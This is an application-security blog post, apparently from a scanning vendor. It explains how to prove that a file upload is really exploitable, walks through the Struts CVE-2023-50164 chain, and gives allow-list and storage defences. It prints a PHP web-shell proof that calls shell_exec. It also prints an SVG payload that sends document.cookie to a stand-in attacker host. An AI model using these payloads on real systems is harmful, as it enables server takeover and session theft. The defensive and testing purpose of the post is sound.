← Blog
November 3, 202610 min readAppSecVulnerability ResearchBug bountyRCESecurity Engineering

An accepted upload is not proof: verifying an exploitable file upload

“The server accepted my .php,” and “I can see my file in /uploads/,” are where most file-upload reports begin and end. But an accepted file is a precondition, not an exploit: it proves validation is weak, not that your code ran. Whether the upload is dangerous is decided by what the application does with the file afterwards — where it lands, whether that path executes server-side code, and whether anyone can reach it. A practitioner's guide to telling an accepted upload apart from a real one, proving remote code execution (or stored XSS) with a benign, scoped payload you then request back, the real Apache Struts chain that needed path traversal to land the file where it would run, and the storage and allow-list defenses that hold.

By The Xalgorix Team

Two observations end most file-upload reports before they have started. The first: “the server accepted my .php — its validation is broken.” The second, one step further: “I can see my file sitting in /uploads/.” Both feel like findings, and both are preconditions at best. An application that accepts a dangerous file has skipped a check — but the vulnerability is not “the server accepted a file.” It is that an attacker can get the application to do something dangerous with that file: run it as server-side code, or serve it back to other users as a script in the site's own origin. Whether either is possible is not decided by the upload succeeding. It is decided by what happens to the bytes next — where they land, whether that location executes code, and whether anyone can reach it.

Why an accepted upload is not a vulnerability

The weakness has a precise name: CWE-434, Unrestricted Upload of File with Dangerous Type — defined by MITRE as a product that “allows the upload or transfer of dangerous file types that are automatically processed within its environment.” The operative phrase is automatically processed within its environment. PortSwigger puts the same idea in terms of impact: it “depends on what the website does with the file once it has been uploaded,” and the worst case is reserved for when the server can be made to execute what you sent. Acceptance is one reason an application might be exploitable. It is not the thing itself. A file that is accepted, stored, and then never run or served to anyone is a hygiene problem, not a report.

Upload accepted / file stored
Stored where nothing runs
On a separate host or an object store served as inert bytes, under a random name you cannot even locate. The file sits there and does nothing. Not exploitable.
Served inline to users
Returned with a type the browser renders — HTML or SVG — inside the app's own origin. Your markup runs as script in other users' sessions. Stored XSS.
Reachable and executed
The file lands in a path the server runs as code, and you can request it by URL. Fetching it runs your code on the server. Remote code execution.
A server accepting or storing your file is a precondition — not proof it will be executed or served as a script.

For RCE, three things must all be true

The headline outcome — a web shell, “a malicious script that enables an attacker to execute arbitrary commands… simply by sending” requests, as PortSwigger describes it — needs more than an accepted file. It needs all three of the following, and a verification is really just confirming each in turn:

Executable type
a server-side script (.php, .jsp, .aspx…) the server is configured to run
An executing location
it lands in a path the runtime executes, not a static bucket
Reachable by URL
you can issue a request that triggers it
RCE
Miss any one and the accepted file does not execute. Most 'file upload RCE' reports confirm only the first.

The first condition is about the file; the second and third are about the deployment, and they are where most reports quietly fail. PortSwigger is explicit that execution “is also largely dependent on the file's extension and… whether the server is configured to execute files of this type.” A pristine PHP web shell that lands in an S3 bucket, or a directory the web server serves as static files, or a path that is never requested, is not remote code execution. It is a file.

The signals that lie

  • “Content-Type said image, but it took my PHP.” Spoofing the Content-Type header in Burp and watching the upload succeed proves the server trusts a client-controlled header — which PortSwigger notes “can be easily bypassed” precisely because it is not checking the real contents. That establishes weak validation. It says nothing about whether the stored file runs.
  • “It's in the uploads folder.” Stored is not executed. Seeing your file listed, or getting back a URL, confirms it reached the filesystem — not that requesting that URL invokes an interpreter rather than streaming bytes.
  • “The blacklist let .phtml through.” A blocklist bypass is a genuine validation flaw — OWASP calls blocklisting “inherently flawed” — but it is still only condition one. An accepted .phtml only matters if the server is configured to execute .phtml at the path it was written to.
The through-line is the same one that separates a reflected status code from a real access-control break, or a {{7*7}} from proven SSTI: the interesting event is not that the application accepted your input, but that it acted on it in a way you can observe. For an upload, that act is the server executing your file, or a browser running it.

Proving RCE: upload, then request it back

The proof is not the upload response; it is a second request. Upload a small, benign, server-side script that emits a unique marker and runs one read-only command, then request the stored file at its URL and confirm the server ran it. Keep the payload scoped to a canary and a harmless command — you are demonstrating execution, not exercising it:

<!-- shell.php uploaded, then REQUESTED at its stored URL -->
<?php echo "XALGORIX-PROOF-" . shell_exec("id"); ?>

PRECONDITION (weak, not a bug on its own):
  the server accepted shell.php  ->  validation is broken.

PROOF (the actual finding):
  GET https://target.example/uploads/shell.php
  returns:  XALGORIX-PROOF-uid=33(www-data) gid=33(www-data)
  -- the server EXECUTED the file.

NOT PROOF:
  the same GET returns the literal text "<?php echo ... ?>"
  -- the path serves bytes, it does not run PHP. No RCE here.

What turns this from a demo into evidence is the differential: the marker comes back computed (the command output is interpolated into it), not echoed as source, and it only does so from the uploaded path. If the response is your file's text, the path does not execute — and you have found weak validation, which is worth reporting as exactly that and no more. This is also where honesty about automated tooling matters, Xalgorix included: a scanner that flags “unrestricted file upload” because an endpoint accepted a script has found a candidate, not a vulnerability. The thing worth shipping is the re-exploit that fetches the stored URL and shows the marker executed, because a developer can reproduce it and a triager can trust it.

When it isn't RCE but is still real: stored XSS

Execution on the server is the worst case, not the only one. PortSwigger notes that “uploading malicious HTML or SVG files” can enable client-side attacks, because the browser will render them. If the application serves an uploaded SVG or HTML file inline from its own origin — rather than forcing a download or serving it from a separate sandbox domain — script inside it runs in that origin, with the victim's session. The precondition is “an SVG was accepted as an image.” The proof is the script firing in the target's origin:

<!-- avatar.svg accepted as an "image", then served inline -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>new Image().src =
    "https://oast.attacker.example/?c=" + document.cookie;</script>
</svg>

PROOF = open the stored SVG's URL as a logged-in victim and confirm
the callback fires FROM target.example's origin with the victim's
session -- not just "the server stored an .svg". If the file is
served with Content-Disposition: attachment, or from a cookieless
sandbox domain, the script never runs in-origin. Not exploitable.

A real one: when the file had to be steered to where it would run

Apache's own advisory for CVE-2023-50164 (S2-066) shows why “it accepted my file” is the start, not the end. The flaw was not that Struts accepted an upload — it accepts uploads by design. Per Apache, “an attacker can manipulate file upload params to enable paths traversal,” and “under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.” The exploit was the chain that steered the file out of the benign temporary location and into a path where it would be served and executed, then requested it.

Tamper upload params
attacker-controlled file-upload fields
Path traversal
escape the intended temp directory
File lands where it executes
a web-reachable, executed path
Request it → RCE
The accepted upload was step zero. The vulnerability was the traversal that put the file somewhere it would run.

It was rated critical — CVSS 9.8, per Arctic Wolf's analysis — and it was not theoretical: Arctic Wolf reported that “on December 13, 2023, threat actors began exploitation attempts against CVE-2023-50164,” leveraging a publicly published proof-of-concept. Apache's advisory lists the affected ranges as Struts 2.0.0–2.3.37 (end-of-life), 2.5.0–2.5.32, and 6.0.0–6.3.0, with the fix in 2.5.33 and 6.3.0.2 or later. The lesson for a tester is the inverse of the headline: the dangerous property was never the upload feature. It was that an attacker could decide where the file went.

Signals that mislead — in both directions

  • Accepted on a storage host that never executes. Many apps push uploads straight to an object store or a dedicated static host. A web shell there is inert — it is served as bytes, not run. Confirm what actually serves the file before claiming RCE.
  • A random filename you cannot find. If the server renames the file to a UUID and never tells you the path, you may have uploaded a working shell you can never reach. That is the blind case: without the URL, there is no proof — and the renaming is itself part of the defense.
  • Double extension stripped to safe. A server that accepts shell.php.jpg but then stores and serves it as .jpg executes nothing. The accepted name is not the served name; verify which one the runtime sees.
  • A config-file upload worth proving. Where a server honours a per-directory .htaccess or web.config in the upload folder, uploading one can make a custom extension executable — turning a dead drop into a live one. That is a real escalation; prove the chain (config uploaded, then a file it newly executes), not just the first upload.

The fix that holds

No single check is the defense; the layers that matter are about the file's type and its destiny. OWASP's File Upload Cheat Sheet is direct that “blocking specific extensions is a weak protection method on its own,” that you should “only allow safe and critical extensions,” and that “creating a random string as a filename, such as generating a UUID/GUID, is essential.” Just as important is where the bytes come to rest: OWASP ranks storing uploads on a different host, or at least outside the webroot, above keeping them anywhere the web server will execute them.

// Validate the TYPE, then control the DESTINY.
const id = crypto.randomUUID();                  // not the user's filename
if (!ALLOWED_EXT.has(ext(original))) reject();   // allow-list, ONE extension
await verifyMagicBytes(buf, ALLOWED_EXT);        // contents, not the Content-Type header
await reencodeIfImage(buf);                       // re-encode images to strip payloads
await putObject("uploads/" + id, buf);           // a store/dir with NO execute permission

// Serving route: force a safe type; never trust the client's.
res.setHeader("Content-Type", safeType);
res.setHeader("X-Content-Type-Options", "nosniff");      // stop MIME sniffing
res.setHeader("Content-Disposition", "attachment");      // for non-render types
// And: never execute the upload directory; disable per-dir config overrides.

The common thread is that none of these trusts the upload to be harmless — they assume it is hostile and remove every path by which it could be run or rendered. An allow-list the attacker cannot widen, contents checked rather than a spoofable header, a generated name, storage that does not execute, and a serving layer that forces a safe content type together remove all three conditions RCE needs and the one stored XSS needs — while re-encoding and nosniff sit behind them as defense in depth.

The one-line version: a server accepting or storing your file proves its validation is weak, not that your code ran. The bug exists only when the application acts on the file — executes it server-side, or serves it inline as a script — so prove it by requesting the stored file back and watching your scoped marker execute (or your SVG fire in the target's origin), and fix it with an allow-list, a generated name, and storage that never runs what it holds. A request that executes your upload, or it is guesswork.

Ready to see it prove a bug?

Start scanning on Cloud →